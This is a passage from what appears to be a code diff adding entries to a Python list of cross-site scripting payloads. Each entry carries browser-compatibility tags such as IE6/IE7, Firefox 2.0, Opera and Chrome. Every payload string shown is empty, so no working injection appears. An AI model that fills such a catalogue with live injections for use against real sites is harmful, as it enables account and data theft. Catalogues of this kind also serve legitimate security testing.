[Chrome]"""}, + { 'payload':'''''', + 'browser':"""[HTML5 Injection]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [Opera] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[IE] [Chrome]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''''', + 'browser':"""[Not Info]"""}, + { 'payload':'''